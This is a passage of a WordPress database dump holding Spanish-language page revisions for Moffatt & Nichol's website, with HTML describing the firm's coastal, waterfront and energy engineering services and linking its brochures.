href=\"http://moffattnichol.com/spanish/environmental-qualification/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/ENVIRONMENTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-3.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE RECURSOS COSTEROS, MEDIOAMBIENTALES E HÍDRICOS</strong><br />\r\n                El prestigio de Moffatt & Nichol de excelencia en el entorno de frentes costeros fue desarrollado a lo largo de años de experiencia con estimulantes proyectos. Hoy, la firma ofrece</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-and-water-resources-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/COASTAL1ENVIRONMENTAL1WATER1RESOURCES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n              \r\n            <div class=\"brochure-last\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-4.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE AUMENTO DEL NIVEL DEL MAR</strong><br />\r\n              Este documento presenta una discusión sobre el estado de la ciencia en relación con el Aumento del Nivel del Mar (SLR, por sus siglas en inglés), la base lógica y la necesidad de tratarla, así como una metodología para determinar los impactos del SLR en el frente costero</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/sea-level-rise-white-paper/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/SLR3External3White3Paper37.5.113low.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n        </div>\r\n        <div class=\"brochure-wrapper-ports\">\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-5.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">INFORME TÉCNICO SOBRE EL AUMENTO DEL NIVEL DEL MAR Y EL CAMBIO CLIMÁTICO</strong><br />\r\n                Este documento presenta una discusión sobre el estado de la ciencia en relación con el Aumento del Nivel del Mar (SLR, por sus siglas en inglés), la base lógica y la necesidad de tratarla, así como una metodología</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/sea-level-rise-white-paper/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_twp/SEA2LEVEL2RISE2WHITE2PAPER.PDF\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-6.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE DRAGADO</strong><br />\r\n                Moffatt & Nichol, líder en ingeniería costera, está a la vanguardia de los servicios especializados de ingeniería y gestión de la construcción para proyectos de dragado en el mar abierto,</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/dredging-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/DREDGING.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>   \r\n        </div>\r\n         </div>\r\n   <div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>        ','Recursos costeros, medioambientales e hídricos','','inherit','open','open','','51-revision-7','','','2012-06-15 05:18:22','2012-06-15 05:18:22','',51,'http://moffattnichol.com/spanish/51-revision-7/',0,'revision','',0),(2650,1,'2012-09-03 05:53:52','2012-09-03 05:53:52','<div class=\"content_faq\">\r\n       [anything_slides cat=coastal-environmental-and-water-resources width=588 height=315  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n       <div class=\"ports-left\">\r\n            <h3>recursos costeros, medioambientales e hídricos</h3> Moffatt & Nichol fue una de las primeras firmas de ingeniería en el mundo en adoptar el concepto de ingeniería costera moderna: modelación, comprensión y diseño para los procesos que dan forma a nuestras líneas costeras, puertos y ríos. Hoy en día, puede decirse que la firma cuenta con uno los mayores equipos de ingenieros costeros en Norteamérica. Nuestros ingenieros de recursos costeros, medioambientales e hídricos se enfocan en el complicado ambiente donde la tierra entra en contacto con el agua y proporcionan soluciones para protección de riberas, gestión regional de la arena, restauración del ecosistema, gestión de material dragado y su reutilización beneficiosa, navegación de buques, operaciones de amarre y atraque, recursos hídricos y gestión de aguas	pluviales. \r\n\r\nEn la era actual de aumento de la densidad poblacional en las zonas costeras y de las preocupaciones sobre el cambio climático, los especialistas en recursos costeros, medioambientales e hídricos de Moffatt & Nichol son pioneros en el desarrollo de soluciones prácticas para estos desafíos. \r\n <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/coastal-environmental-water-resources/coastal-environmental-and-water-resources-services/\">Examinar los servicios costeros, medioambientales y de recursos hídricos >></a></div>\r\n</div>\r\n         <div class=\"brochure-wrapper-ports\">\r\n            <h3>publicaciones relevantes</h3>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-1.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n                <strong class=\"green-new\">CALIFICACIÓN DE RECURSOS COSTEROS, MEDIOAMBIENTALES E HÍDRICOS </strong><br />\r\n                El prestigio de Moffatt & Nichol de excelencia en el entorno de frentes costeros fue desarrollado a lo largo de años de experiencia con estimulantes proyectos.</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-and-water-resources-qualifications/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/COASTAL%20ENVIRONMENTAL%20AND%20WATER%20RESOURCES%20QUALS-ELECTRONIC.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-2.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n                <strong class=\"green-new\">CALIFICACIÓN MEDIOAMBIENTAL</strong><br />\r\n                La excelencia de Moffatt & Nichol en servicios medioambientales fue desarrollada a lo largo de años de experiencia con estimulantes proyectos en todo el mundo. Si bien las firmas medioambientales tradicionales</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/environmental-qualification/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/ENVIRONMENTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-3.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE RECURSOS COSTEROS, MEDIOAMBIENTALES E HÍDRICOS</strong><br />\r\n                El prestigio de Moffatt & Nichol de excelencia en el entorno de frentes costeros fue desarrollado a lo largo de años de experiencia con estimulantes proyectos. Hoy, la firma ofrece</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-and-water-resources-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/COASTAL1ENVIRONMENTAL1WATER1RESOURCES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n              \r\n            <div class=\"brochure-last\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-4.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE AUMENTO DEL NIVEL DEL MAR</strong><br />\r\n              Este documento presenta una discusión sobre el estado de la ciencia en relación con el Aumento del Nivel del Mar (SLR, por sus siglas en inglés), la base lógica y la necesidad de tratarla, así como una metodología para determinar los impactos del SLR en el frente costero</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/sea-level-rise-white-paper/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/SLR3External3White3Paper37.5.113low.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n        </div>\r\n        <div class=\"brochure-wrapper-ports\">\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-5.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">INFORME TÉCNICO SOBRE EL AUMENTO DEL NIVEL DEL MAR Y EL CAMBIO CLIMÁTICO</strong><br />\r\n                Este documento presenta una discusión sobre el estado de la ciencia en relación con el Aumento del Nivel del Mar (SLR, por sus siglas en inglés), la base lógica y la necesidad de tratarla, así como una metodología</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/sea-level-rise-white-paper/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_twp/SEA2LEVEL2RISE2WHITE2PAPER.PDF\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-6.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE DRAGADO</strong><br />\r\n                Moffatt & Nichol, líder en ingeniería costera, está a la vanguardia de los servicios especializados de ingeniería y gestión de la construcción para proyectos de dragado en el mar abierto,</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/dredging-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/DREDGING.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>   \r\n        </div>\r\n         </div>\r\n   <div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>        ','Recursos costeros, medioambientales e hídricos','','inherit','open','open','','51-revision-8','','','2012-09-03 05:53:52','2012-09-03 05:53:52','',51,'http://moffattnichol.com/spanish/51-revision-8/',0,'revision','',0),(2651,1,'2012-06-15 08:00:46','2012-06-15 08:00:46','<div class=\"content_faq\">\r\n       [anything_slides cat=urban-waterfronts-and-marinas width=588 height=300  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n      \r\n       <div class=\"ports-left\">\r\n            <h3>frentes de mar urbanos y puertos deportivos</h3> Moffatt & Nichol comenzó a participar en el desarrollo del frente de mar urbano a principios de la década de 1960 con la creación del puerto de Huntington en la parte sur de California. Desde que desarrolló este proyecto hace casi 50 años, la firma ha llegado a ser reconocida a nivel mundial por su papel en la revitalización y el nuevo desarrollo de frentes de mar urbanos—incluyendo la evolución del puerto deportivo moderno y el diseño de puertos para pequeñas embarcaciones. Nuestra cartera de frentes de mar urbanos incluye centros turísticos, parques ribereños y espacios abiertos, desarrollos de puertos deportivos residenciales y municipales, terminales de transbordadores y taxis acuáticos, rampas para botes, paseos marítimos, amarres de buques históricos, comerciales y recreacionales, mejora de humedales y muchos otros usos. Nuestra experiencia en el planeamiento y diseño en el ambiente marino nos permite crear infraestructura sostenible y soluciones innovadoras y premiadas para los desafíos involucrados al desarrollar las vías navegables y las líneas costeras del mundo.\r\n <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas/urban-waterfronts-and-marinas/\">Examinar los servicios de frentes de mar urbanos y puertos deportivos >></a></div> \r\n</div>\r\n <div class=\"brochure-wrapper-ports\">\r\n             <h3>publicaciones relevantes</h3>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-2.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n                <strong class=\"green-new\">CALIFICACIÓN DE FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</strong><br />\r\n                Como los frentes costeros de hoy en día se convierten en catalizadores de la actividad económica, la especialidad de frentes de mar urbanos y puertos deportivos de Moffatt & Nichol desempeña un papel crítico \r\n                </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-and-marinas-qualification/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/URBAN%20WATERFRONTS%20AND%20MARINAS%20QUALS-ELECTRONIC.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n              \r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</strong><br />\r\n               Los frentes costeros de hoy son catalizadores de la actividad económica. La especialidad de frentes costeros y puertos deportivos de Moffatt & Nichol se estableció en la década de 1960, a medida que la navegación de recreo aumentaba </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-and-marinas-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/URBAN1WATERFRONT.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n              \r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-3.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE TERMINALES DE TRANSBORDADORES</strong><br />\r\n                Como una de las mayores firmas internacionales de ingeniería y consultoría marítimas en el mundo, el equipo de expertos de Moffatt & Nichol ofrece sus conocimientos en</div>\r\n               <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/ferry-terminals-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n            \r\n        </div>\r\n  </div>        \r\n        \r\n   <div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>        ','Frentes de mar urbanos y puertos deportivos','','inherit','open','open','','58-revision-5','','','2012-06-15 08:00:46','2012-06-15 08:00:46','',58,'http://moffattnichol.com/spanish/58-revision-5/',0,'revision','',0),(2652,1,'2012-09-03 06:00:39','2012-09-03 06:00:39','<div class=\"content_faq\">\r\n       [anything_slides cat=urban-waterfronts-and-marinas width=588 height=315  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n      \r\n       <div class=\"ports-left\">\r\n            <h3>frentes de mar urbanos y puertos deportivos</h3> Moffatt & Nichol comenzó a participar en el desarrollo del frente de mar urbano a principios de la década de 1960 con la creación del puerto de Huntington en la parte sur de California. Desde que desarrolló este proyecto hace casi 50 años, la firma ha llegado a ser reconocida a nivel mundial por su papel en la revitalización y el nuevo desarrollo de frentes de mar urbanos—incluyendo la evolución del puerto deportivo moderno y el diseño de puertos para pequeñas embarcaciones. Nuestra cartera de frentes de mar urbanos incluye centros turísticos, parques ribereños y espacios abiertos, desarrollos de puertos deportivos residenciales y municipales, terminales de transbordadores y taxis acuáticos, rampas para botes, paseos marítimos, amarres de buques históricos, comerciales y recreacionales, mejora de humedales y muchos otros usos. Nuestra experiencia en el planeamiento y diseño en el ambiente marino nos permite crear infraestructura sostenible y soluciones innovadoras y premiadas para los desafíos involucrados al desarrollar las vías navegables y las líneas costeras del mundo.\r\n <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas/urban-waterfronts-and-marinas/\">Examinar los servicios de frentes de mar urbanos y puertos deportivos >></a></div> \r\n</div>\r\n <div class=\"brochure-wrapper-ports\">\r\n             <h3>publicaciones relevantes</h3>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-2.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n                <strong class=\"green-new\">CALIFICACIÓN DE FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</strong><br />\r\n                Como los frentes costeros de hoy en día se convierten en catalizadores de la actividad económica, la especialidad de frentes de mar urbanos y puertos deportivos de Moffatt & Nichol desempeña un papel crítico \r\n                </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-and-marinas-qualification/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/URBAN%20WATERFRONTS%20AND%20MARINAS%20QUALS-ELECTRONIC.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n              \r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</strong><br />\r\n               Los frentes costeros de hoy son catalizadores de la actividad económica. La especialidad de frentes costeros y puertos deportivos de Moffatt & Nichol se estableció en la década de 1960, a medida que la navegación de recreo aumentaba </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-and-marinas-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/URBAN1WATERFRONT.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n              \r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-3.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE TERMINALES DE TRANSBORDADORES</strong><br />\r\n                Como una de las mayores firmas internacionales de ingeniería y consultoría marítimas en el mundo, el equipo de expertos de Moffatt & Nichol ofrece sus conocimientos en</div>\r\n               <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/ferry-terminals-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n            \r\n        </div>\r\n  </div>        \r\n        \r\n   <div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>        ','Frentes de mar urbanos y puertos deportivos','','inherit','open','open','','58-revision-6','','','2012-09-03 06:00:39','2012-09-03 06:00:39','',58,'http://moffattnichol.com/spanish/58-revision-6/',0,'revision','',0),(2653,1,'2012-06-19 11:26:51','2012-06-19 11:26:51','<div class=\"content_faq\"> [anything_slides cat=energy width=588 height=300  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n  <div class=\"ports-left\">\r\n  <h3>energía</h3> Como las economías y las políticas medioambientales cambian y se modifican en todo el mundo, el sector de energía debe adaptarse. Durante décadas, Moffatt & Nichol ha sido un consultor líder en la industria que aborda las necesidades específicas de las terminales marítimas costa afuera y cercanas a la costa para la industria del petróleo y el gas, desde muelles y dársenas hasta cimentaciones profundas, instalaciones costa afuera flotantes, terminales de carga líquida a granel y de GNL y sistemas de amarre costa afuera. Hemos aprovechado esta experiencia, junto con nuestra familiaridad con los procesos costeros, las soluciones de amortiguación, las estructuras dinámicas y la modelación de cimentaciones, para colaborar con clientes en afrontar los desafíos de proyectos de energía convencional y renovable—desde la infraestructura civil necesaria para la generación de energía convencional hasta el planeamiento y diseño de fuentes más innovadoras tales como el almacenamiento de energía eólica costa afuera, la energía hidrocinética y la energía eólica de aguas profundas.\r\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/energy/energy-services/\">Examinar servicios de energía >></a></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-ports\">\r\n    <h3>publicaciones relevantes</h3>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-1.jpg\" /></div>\r\n      <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n        <strong class=\"green-new\">Folleto de Instalaciones marítimas de petróleo y gas	</strong><br />\r\n        Durante décadas, Moffatt & Nichol ha sido un consultor líder en la industria que abordaba las necesidades específicas de las terminales marítimas costa afuera y cercanas a la costa de </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/oil-gas-qualifications/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/OIL%20AND%20GAS%20MAY%202011-PORTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DESCRIPTIVO DE ENERGÍA EÓLICA</strong><br />\r\n        Moffatt & Nichol está posicionado en forma singular para ayudar a nuestros clientes a afrontar los desafíos de proyectos de desarrollo de energía eólica, tanto en tierra como costa afuera. Combinamos nuestro </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/wind-power-overview-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/admin/upload_bro/Wind_Power_Overview_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-5.jpg\" /></div>\r\n      <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE DISEÑO DE LA SUBESTRUCTURA DE GENERADOR DE TURBINA EÓLICA (WTG) COSTA AFUERA</strong><br />\r\n        Moffatt & Nichol aporta las capacidades y experiencia para diseñar subestructuras optimizadas costa afuera para apoyar el desarrollo de parques eólicos costa afuera, incluyendo generadores de turbina eólica (WTG, por sus siglas en inglés)</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-wtg-substructure-design-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/admin/upload_bro/Offshore_WTG_Substructure_Design_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n    <div class=\"brochure-last\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-4.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE PUERTOS DE ACCESO A PARQUES EÓLICOS COSTA AFUERA</strong><br />\r\n        Moffatt & Nichol es la firma principal de planeamiento y diseño para el desarrollo de puertos y terminales marítimas en Norteamérica y es una de las principales firmas a nivel mundial </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-wind-farm-staging-ports-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/admin/upload_bro/Offshore_Wind_Farm_Staging_Ports_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-ports\">\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE DISEÑO DE PLATAFORMAS DE SUBESTACIONES ELÉCTRICAS COSTA AFUERA</strong><br />\r\n        El conocimiento de la ingeniería marítima/costa afuera y la comprensión de las necesidades de los parques eólicos costa afuera de Moffatt & Nichol proporciona </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-electrical-substation-platform-design-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/admin/upload_bro/Offshore_Electrical_Substation_Platform_Design_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE LA GESTIÓN DE PROGRAMA DE PARQUES EÓLICOS COSTA AFUERA</strong><br />\r\n        El desarrollo eólico costa afuera crea muchos desafíos para los desarrolladores. La industria y las regulaciones están en cambio constantemente. Las percepciones </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-wind-farm-program-management-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/admin/upload_bro/Offshore_Wind_Farm_Program_Management_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-6.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE SERVICIOS CONSULTIVOS COMERCIALES DE PARQUES EÓLICOS</strong><br />\r\n        Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marítimo y de infraestructura de la firma y ofrecen un conjunto de</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/wind-farm-commercial-advisory-services-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/admin/upload_bro/Wind_Farm_Commercial_Advisory_Services_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-last\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-8.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO de Almacenamiento de Energía de Aire Comprimido del Océano (OCAES, por sus siglas en inglés)</strong><br />\r\n        ¿Qué es OCAES? TRES COMPONENTES CLAVE: Innovadora tecnología de compresor/expansor GCAES™ • Con base en la costa • Modular\r\n       </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/ocean-compressed-air-energy-storage-bochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/admin/upload_bro/OCAES Brochure-PRINTABLE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n  </div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Energía','','inherit','open','open','','60-revision-9','','','2012-06-19 11:26:51','2012-06-19 11:26:51','',60,'http://moffattnichol.com/spanish/60-revision-9/',0,'revision','',0),(2654,1,'2012-09-03 06:04:29','2012-09-03 06:04:29','<div class=\"content_faq\"> [anything_slides cat=energy width=588 height=315  delay=3000 resume=15000 animation=750 order=ASC 